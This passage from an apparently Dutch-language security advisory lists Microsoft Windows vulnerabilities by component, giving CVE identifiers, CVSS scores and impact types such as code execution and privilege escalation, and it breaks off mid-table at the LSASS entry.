\n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              